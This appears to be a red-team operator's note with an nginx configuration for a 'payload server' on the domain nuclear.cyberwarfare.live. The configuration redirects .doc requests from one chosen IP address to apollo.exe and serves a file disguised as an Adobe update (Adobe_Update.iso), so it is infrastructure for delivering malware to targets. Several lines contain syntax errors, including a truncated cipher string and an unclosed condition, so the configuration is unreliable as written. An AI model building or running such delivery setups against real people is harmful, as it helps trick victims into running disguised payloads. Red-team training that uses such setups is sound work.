CONFIGURATION

PAYLOAD SERVER CONFIGURATION FILE

#if not c2.conf then direct.conf, etc - this config file is for whatever need to be redirected
root@NGVM: nano /etc/nginx/conf.d/payload.conf
 server{
   listen 443 ssl default_server;
   listen [::]:443 ssl default-server;
   
   ssl_certificate /etc/letsencrypt/live/nuclear.cyberwarfare.live/fullchain.pem;
   ssl_certificate_key /etc/letsencrypt/live/nuclear.cyberwarfare.live/privatekey.pem;
   ssl_session_cache shared:le_nginx_SSL:1m;
   ssl_session_timeout 1440m;
   
   ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
   ssl_prefer_server_ciphers on;
   
   ssl_ciphers "ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES128-SHA ECDHE-ECDSA-AES256-SHA ECDHE-ECD$
   
   root /var/www/html;
   index index.php index.html index.htm index.nginx-debian.html;              //these are the files that will be served
   
   server_name nuclear.cyberwarfare.live;
   
   #if anyone visits the root directory '/' then they'll get a 404 error
   location / {
     try_files $uri $uri/ =404;
   }
   
   location ~ \.doc${
     if ($remote_addr ~ "74.235.35.184"{
       return 302 /apollo.exe
     }
   }
   location ~ \.update${
     return 302 /Adobe_Update.iso;
   }
   
 }
 
#Reload NGINX
root@NGVM:  sudo nginx -s reload

Last updated